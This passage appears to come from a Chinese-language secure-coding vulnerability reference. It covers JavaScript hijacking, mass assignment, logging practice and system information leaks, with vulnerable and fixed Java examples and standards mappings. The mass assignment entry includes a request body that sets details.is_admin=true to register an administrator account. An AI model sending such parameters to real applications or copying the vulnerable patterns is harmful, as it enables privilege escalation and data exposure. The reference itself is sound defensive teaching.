`标签通常使用 GET 方法从外部资源文件中加载 JavaScript。然而,这种防范措施并非尽善尽美。Web 应用程序的专家一致鼓励采用 GET 方法提高性能。如果在 HTTP 方法的选择上缺乏安全方面的考虑,这意味着未来的某一时刻,程序员可能会误认为这种功能上的不足是疏忽所致,而没有将它作为一种安全预警加以认识,进而修改了应用程序以响应 GET 请求。
防止直接执行响应 为了使恶意站点无法执行包含 JavaScript 的响应,合法的客户端应用程序可以利用允许执行前对接收的数据进行修改这一权限,而恶意的应用程序则只能使用 <script>
标签执行响应。当服务器序列化某个对象时,该对象应包括一个前缀(也可以是后缀),从而使它无法通过 <script>
标签执行 JavaScript。合法的客户端应用程序可以在运行 JavaScript 前删除这些无关的数据。
示例 3:该方法可以通过多种方式来实现。以下例子演示了两种方式。第一种,服务器可以把以下指令作为消息的前缀:
while(1);
除非客户端删除这些前缀,否则对这个消息求值将把 JavaScript 解释器发送到一个无限的循环中。客户端搜索并删除如下前缀:
1 | var object; |
第二种,服务器可以在 JavaScript 附近加注注释字符,这些注释字符必须在 JavaScript 被送往 eval() 函数前删除。以下 JSON 对象已加入了一块注释:
1 | /* |
任何通过 <script>
标签来提取敏感 JavaScript 的恶意站点都将无法获取其中所包含的数据。
自第 5 版 EcmaScript 起,已不可能攻击 JavaScript 数组构造函数。
REFERENCES
[1] B. Chess, Y. O’Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[3] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M4 Unintended Data Leakage
[4] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[5] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[6] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[7] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[8] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
Mass Assignment: Sensitive Field Exposure
ABSTRACT
一个敏感字段已向模型绑定器公开。
EXPLANATION
现代框架可让开发人员将来自请求查询和正文的 HTTP 请求参数自动绑定至模型对象,以便于开发和提高生产率。如果绑定器未正确配置为控制将哪些 HTTP 请求参数绑定到哪些模型属性,攻击者可能会滥用模型绑定过程并设置不应向用户控件公开的任何其他属性。即使模型属性未出现在 Web 表单或 API 合约中,也可能会发生这种绑定。
例 1:以下 Struts 1 DynaActionForm 动态定义了绑定到用户请求的 ActionForm。在这种情况下,会通过提供帐户的类型和用户的详细信息,将其用于注册帐户:
1 | <struts-config> |
如果注册成功,用户数据将保留在数据库中。User 类定义为:
1 | public class User { |
Details 类定义为:
1 | public class Details { |
根据以上应用场景,攻击者可以探索应用程序并发现 User 模型中存在 details 属性。在这种情况下,攻击者可能会尝试覆盖分配给其属性的当前值。 如果攻击者可以找到这些内部属性,并且框架绑定器未正确配置为禁止绑定这些属性,则攻击者可能会通过发送以下请求注册管理员帐户:
1 | type=free&user.name=John&user.lastname=Smith&age=22&details.is_admin=true |
RECOMMENDATIONS
为了避免批量分配漏洞,控制 HTTP 请求对类绑定过程进行建模非常重要。根据所使用的框架,可以采用不同的备选方案:
体系结构:定义要绑定到用户数据并且仅包含应向最终用户公开的属性的专用 DTO 类。使用与应用程序一起使用的域对象映射其属性。这些域对象将包含接收已验证用户数据的属性以及绝不能向用户控件公开的额外属性。
绑定器配置:某些框架(如 Spring)允许开发人员将模型绑定器配置为根据参数名称接受或拒绝 HTTP 请求参数。例如:
例 2:
1 | @Override |
模型类配置:根据已使用的框架和正在使用的序列化/反序列化库,可以对要绑定到 HTTP 请求参数的模型类添加注释,以允许或禁止某种属性绑定。例如,如果采用 JSON 格式发送用户数据,并且使用 Jackson 库对该数据进行反序列化,则 @JsonIgnore 注释可用于让 Jackson 忽略给定属性,以实现序列化或反序列化。
例 3:
1 | public class User { |
在其他框架(如 Apache Struts 1 和 2)中,框架仅允许将 HTTP 请求参数绑定到具有公共 setter 的类成员。如果不应公开给定属性,则 setter 应声明为私有。
例 4:
1 | private String role; |
REFERENCES
[1] OWASP Mass assignment
[2] Spring Spring MVC Known Vulnerabilities and Issues
[3] Standards Mapping - Common Weakness Enumeration CWE ID 915
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[6] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[7] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[8] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[9] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.2
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[16] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[19] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Process Validation (WASC-40)
Poor Logging Practice: Logger Not Declared Static Final
ABSTRACT
声明记录器是固定且最终的。
EXPLANATION
在某个特定类中的所有实例中,共享一个单一的记录器对象,并在程序的执行过程中使用同一个记录器,这是一个很好的编程习惯。
例 1:以下指令错误地声明了一个非固定日志记录器。
1 | private final Logger logger = |
RECOMMENDATIONS
声明记录器是固定且最终的。
例 2: 例 1 中的代码应该用以下方式重写:
1 | private final static Logger logger = |
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 398
[2] Standards Mapping - FIPS200 AU
Poor Logging Practice: Multiple Loggers
ABSTRACT
使用多级别日志,而不是在单一的类中使用多个日志记录器。
EXPLANATION
良好记录行为是指为每个类使用一个日志记录器。
例 1:以下代码错误地声明了 multiple loggers。
1 | public class MyClass { |
RECOMMENDATIONS
使用不同的日志级别来区分不同类型的日志条目,而不是使用 multiple loggers。
例 2: 例 1 中的代码应该用以下方式重写:
1 | public class MyClass { |
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 398
[2] Standards Mapping - FIPS200 AU
Poor Logging Practice: Use of a System Output Stream
ABSTRACT
使用 System.out 或 System.err 而不是专门的日志记录工具,会导致难以监控程序的运行状况。
EXPLANATION
例 1:开发人员学习编写的第一个 Java 程序通常都是如下所示的样子:
1 | public class MyClass |
多数程序员深入了解 Java 的许多精妙之处后,有一部分人仍会依赖于这一基础知识,始终使用 System.out.println() 编写进行标准输出的消息。
这里的问题是,直接在标准输出流或标准错误流中写入信息通常会作为一种非结构化日志记录形式使用。结构化日志记录系统提供了各种要素,如日志级别、统一的格式、日志标示符、次数统计,而且,可能最重要的是,将日志信息指向正确位置的功能。当系统输出流的使用与正确使用日志记录功能的代码混合在一起时,得出的结果往往是一个保存良好但缺少重要信息的日志。
开发者普遍认为需要使用结构化日志记录,但是很多人在“产前”的软件开发中仍使用系统输出流功能。如果您正在检查的代码是在开发阶段的初期生成的,那么对 System.out 或 System.err 的使用可能会在转向结构化日志记录系统的过程中导致漏洞。
RECOMMENDATIONS
使用 Java 日志记录工具而不是 System.out 或 System.err。
例 2:例如,上面的“hello world”程序可以使用 log4j 重新写成以下形式:
1 | import org.apache.log4j.Logger; |
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 398
[2] Standards Mapping - FIPS200 AU
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-11 Error Handling (P2)
[4] Standards Mapping - OWASP Top 10 2004 A7 Improper Error Handling
[5] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.7
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.2, Requirement 6.5.6
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[12] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3620 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3620 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3620 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3620 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3620 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3620 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3620 CAT II
Poor Style: Non-final Public Static Field
ABSTRACT
外部类可更改非最终公共静态字段。
EXPLANATION
通常情况下,您不会希望为外部类提供对象成员字段的直接访问路径,因为任意外部类都可以更改公共字段。面向对象的良好设计使用 Encapsulation 来防止将实现详细信息(例如成员字段)暴露给其他类。此外,如果系统假定此字段不可更改,则恶意代码可能能够逆向更改系统的行为。
示例 1:在以下代码中,字段 ERROR_CODE 已声明为公共、静态和非最终:
1 | public class MyClass |
在这种情况下,恶意代码可能能够更改此错误代码并导致程序出现意外行为。
RECOMMENDATIONS
如果您希望将字段作为常数值公开,则应将该字段声明为 public static final,否则就将该字段声明为 private。
例 2:
1 | public class MyClass |
REFERENCES
[1] Sun Microsystems, Inc. Secure Coding Guidelines for the Java Programming Language, version 2.0
[2] OBJ10-J. Do not use public static nonfinal fields CERT
[3] MUTABLE-9: Make public static fields final Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 493
System Information Leak
ABSTRACT
揭示系统数据或调试信息有助于攻击者了解系统并制定攻击计划。
EXPLANATION
当系统数据或调试信息通过输出流或者日志功能流出程序时,就会发生信息泄漏。
示例 1:以下代码会将异常打印到标准错误流:
1 | try { |
依据这一系统配置,该信息可转储到控制台,写成日志文件,或者显示给远程用户。例如,凭借脚本机制,可以轻松将输出信息从“标准错误”或“标准输出”重定向至文件或其他程序。或者,运行程序的系统可能具有将日志发送至远程设备的远程日志记录系统,例如 “syslog” 服务器。在开发过程中,您将无法知道此信息最终可能显示的位置。
在某些情况下,该错误消息恰好可以告诉攻击者入侵这一系统的可能性究竟有多大。例如,一个数据库错误消息可以揭示应用程序容易受到 SQL Injection 攻击。其他的错误消息可以揭示有关该系统的更多间接线索。在上述例子中,泄露的信息可能会暗示操作系统的类型、系统上安装了哪些应用程序,以及管理员在配置应用程序时做了哪些方面的努力。
这是另一种情况,特定于移动世界。大多数移动设备现在执行的是“近场通信”(NFC) 协议,以便使用无线电通信在设备之间快速共享信息。它在设备极为贴近或互相接触时有效。即使 NFC 的通信范围仅局限于几厘米,也可能发生窃听、修改数据以及各种其他类型的攻击情况,因为 NFC 本身并不能确保通信安全。
示例 2:Android 平台提供对 NFC 的支持。以下代码将创建一条消息,该消息会被发送给所在范围内的其他设备。
1 | ... |
NFC 数据交换格式 (NDEF) 消息包含类型化数据、URI 或自定义应用程序负载。如果该消息包含与应用程序有关的信息(如其名称、MIME 类型或设备软件版本),则该信息将被泄露给窃听者。在上述示例中,Fortify Static Code Analyzer(Fortify 静态代码分析器)会在返回语句中报告 System Information Leak 漏洞。
RECOMMENDATIONS
编写错误消息时,始终要牢记安全性。在编码的过程中,尽量避免使用繁复的消息,提倡使用简短的错误消息。限制生成与存储繁复的输出数据将有助于管理员和程序员诊断问题的所在。此外,还要留意有关调试的跟踪信息,有时它可能出现在不明显的位置(例如嵌入在错误页 HTML 代码的注释行中)。
即便是并未揭示栈踪迹或数据库转储的简短错误消息,也有可能帮助攻击者发起攻击。例如,“Access Denied”(拒绝访问)消息可以揭示系统中存在一个文件或用户。
如果您担心 Android 设备上的系统数据会通过 NFC 泄露,那么您可以采取以下三种措施之一。不把系统数据包括在发送到范围内其他设备的消息中,或加密消息负载,或在更高层中建立安全通信通道。
REFERENCES
[1] Ernst Haselsteiner and Klemens Breitfuss Security in Near Field Communication (NFC): Strengths and Weaknesses
[2] ERR01-J. Do not allow exceptions to expose sensitive information CERT
[3] ENV02-J. Do not trust the values of environment variables CERT
[4] FUNDAMENTALS-4: Establish trust boundaries Oracle
[5] CONFIDENTIAL-1: Purge sensitive information from exceptions Oracle
[6] Standards Mapping - Common Weakness Enumeration CWE ID 497
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[8] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M2 Insecure Data Storage
[9] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[15] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3620 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3620 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3620 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3620 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3620 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3620 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3620 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[25] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
System Information Leak: Apache Axis
ABSTRACT
揭示系统数据或调试信息有助于攻击者了解系统并制定攻击计划。
EXPLANATION
当系统数据或调试信息通过输出流或者日志功能流出程序时,就会发生信息泄漏。
当将参数 axis.enableListQuery 设为 true 时,它会启用 Web 服务部署描述符 (WSDD) 列表。此功能会泄漏包含敏感信息(如 adminservice 密码)的当前系统配置。
RECOMMENDATIONS
将 axis.enableListQuery 设为 false,如下所示:
1 | <deployment xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"> |
REFERENCES
[1] Web Service Security Apache Software Foundation
[2] Axis Reference Guide Apache Software Foundation
[3] Standards Mapping - Common Weakness Enumeration CWE ID 497
[4] Standards Mapping - FIPS200 CM
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1), SI-11 Error Handling (P2)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[7] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[8] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[9] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[10] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3620 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3620 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3620 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3620 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3620 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3620 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3620 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
System Information Leak: Apache Axis 2
ABSTRACT
揭示系统数据或调试信息有助于攻击者了解系统并制定攻击计划。
EXPLANATION
当系统数据或调试信息通过输出流或者日志功能流出程序时,就会发生信息泄漏。
此参数可让 Apache Axis 2 将错误消息发送给客户端。错误消息包含堆栈跟踪信息;在某些情况下,该错误消息可准确地告知攻击者该系统易受哪种攻击。例如,一个数据库错误消息可以揭示应用程序容易受到 SQL Injection 攻击。其他的错误消息可以揭示有关该系统的更多间接线索。
RECOMMENDATIONS
编写错误消息时,始终要牢记安全性。在编码的过程中,尽量避免使用繁复的消息,提倡使用简短的错误消息。限制生成与存储繁复的输出数据将有助于管理员和程序员诊断问题的所在。
即便是并未揭示栈踪迹或数据库转储的简短错误消息,也有可能帮助攻击者发起攻击。例如,“Access Denied”(拒绝访问)消息可以揭示系统中存在一个文件或用户。
在这种情况下,将 sendStacktraceDetailsWithFaults 参数设为 false,如下所示:
1 | <parameter name="sendStacktraceDetailsWithFaults">false</parameter> |
REFERENCES
[1] How to stop Axis2 sending stack traces in case of a fault? WSO2
[2] Standards Mapping - Common Weakness Enumeration CWE ID 497
[3] Standards Mapping - FIPS200 CM
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1), SI-11 Error Handling (P2)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[8] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3620 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3620 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3620 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3620 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3620 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3620 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3620 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[26] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
System Information Leak: External
ABSTRACT
揭示系统数据或调试信息有助于攻击者了解系统并制定攻击计划。
EXPLANATION
当系统数据或调试信息通过套接字或网络连接使程序流向远程机器时,就会发生外部信息泄露。外部信息泄露会暴露有关操作系统、完整路径名、现有用户名或配置文件位置的特定数据,从而使攻击者有机可乘,它比内部信息(攻击者更难访问)泄露更严重。
示例 1:以下代码泄露了 HTTP 响应中的异常信息:
1 | protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException { |
该信息可以显示给远程用户。在某些情况下,该错误消息恰好可以告诉攻击者入侵这一系统的可能性究竟有多大。例如,一个数据库错误消息可以揭示应用程序容易受到 SQL Injection 攻击。其他的错误消息可以揭示有关该系统的更多间接线索。在上述例子中,泄露的信息可能会暗示操作系统的类型、系统上安装了哪些应用程序,以及管理员在配置应用程序时做了哪些方面的努力。
这是另一种情况,特定于移动世界。大多数移动设备现在执行的是“近场通信”(NFC) 协议,以便使用无线电通信在设备之间快速共享信息。它在设备极为贴近或互相接触时有效。即使 NFC 的通信范围仅局限于几厘米,也可能发生窃听、修改数据以及各种其他类型的攻击情况,因为 NFC 本身并不能确保通信安全。
示例 2:Android 平台提供对 NFC 的支持。以下代码将创建一条消息,该消息会被发送给所在范围内的其他设备。
1 | ... |
NFC 数据交换格式 (NDEF) 消息包含类型化数据、URI 或自定义应用程序负载。如果该消息包含与应用程序有关的信息(如其名称、MIME 类型或设备软件版本),则该信息将被泄露给窃听者。在上述示例中,Fortify Static Code Analyzer(Fortify 静态代码分析器)会在返回语句中报告 System Information Leak 漏洞。
RECOMMENDATIONS
编写错误消息时,始终要牢记安全性。在编码的过程中,尽量避免使用繁复的消息,提倡使用简短的错误消息。限制生成与存储繁复的输出数据将有助于管理员和程序员诊断问题的所在。此外,还要留意有关调试的跟踪信息,有时它可能出现在不明显的位置(例如嵌入在错误页 HTML 代码的注释行中)。
即便是并未揭示栈踪迹或数据库转储的简短错误消息,也有可能帮助攻击者发起攻击。例如,“Access Denied”(拒绝访问)消息可以揭示系统中存在一个文件或用户。
如果您担心 Android 设备上的系统数据会通过 NFC 泄露,那么您可以采取以下三种措施之一。不把系统数据包括在发送到范围内其他设备的消息中,或加密消息负载,或在更高层中建立安全通信通道。
REFERENCES
[1] Ernst Haselsteiner and Klemens Breitfuss Security in Near Field Communication (NFC): Strengths and Weaknesses
[2] ERR01-J. Do not allow exceptions to expose sensitive information CERT
[3] ENV02-J. Do not trust the values of environment variables CERT
[4] FUNDAMENTALS-4: Establish trust boundaries Oracle
[5] CONFIDENTIAL-1: Purge sensitive information from exceptions Oracle
[6] Standards Mapping - Common Weakness Enumeration CWE ID 497
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[8] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M2 Insecure Data Storage
[9] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[15] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3620 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3620 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3620 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3620 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3620 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3620 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3620 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[25] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
System Information Leak: HTML Comment in JSP
ABSTRACT
HTML 注释所包含的任何信息都有可能帮助攻击者了解系统并制定相应的攻击方案。
EXPLANATION
HTML 注释会给攻击者提供关于动态生成的 web 页面的信息源。
例 1:
1 | <!-- TBD: this needs a security audit --> |
甚至那些看上去并非恶意的注释也可能有利于某些人了解系统的构建形式。
RECOMMENDATIONS
使用 JSP 注释来代替 HTML 注释(JSP 注释不会传递给用户)。
例 2:前面的示例已重写为使用 JSP 注释,该注释不会显示给用户。
1 | <%-- TBD: this needs a security audit --%> |
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 615
[2] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[3] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[4] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6
[5] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[6] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3620 CAT II
[7] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3620 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3620 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3620 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3620 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3620 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3620 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[16] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[17] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
System Information Leak: Incomplete Servlet Error Handling
ABSTRACT
如果 Servlet 未捕获到所有异常,则可能会泄漏调试信息,从而有利于攻击者进行攻击。
EXPLANATION
当 Servlet 抛出一个异常时,Servlet 容器回传给用户的默认错误响应通常会包含调试信息。这些信息对于攻击者来说是十分有用的。例如,一个堆栈跟踪可能会给攻击者显示 SQL 查询字串、即使用的数据库类型以及应用程序容器的版本。攻击者可以从这些信息中找到这些组件中存在的漏洞。
例 1:在以下方法中,DNS 解析失败会导致 Servlet 抛出一个异常。
1 | protected void doPost (HttpServletRequest req, |
例 2:如果“name”参数并未包含在请求中,那么以下方法会抛出一个 NullPointerException 异常。
1 | protected void doPost (HttpServletRequest req, |
RECOMMENDATIONS
所有顶级 Servlet 方法都应捕获 Throwable,从而尽可能降低调用 Servlet 错误响应机制的可能性。
例 3:例 1 中的代码可以按以下方式进行重写:
1 | protected void doPost (HttpServletRequest req, |
REFERENCES
[1] Ernst Haselsteiner and Klemens Breitfuss Security in Near Field Communication (NFC): Strengths and Weaknesses
[2] ERR01-J. Do not allow exceptions to expose sensitive information CERT
[3] CONFIDENTIAL-1: Purge sensitive information from exceptions Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 209, CWE ID 431
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1), SI-11 Error Handling (P2)
[6] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
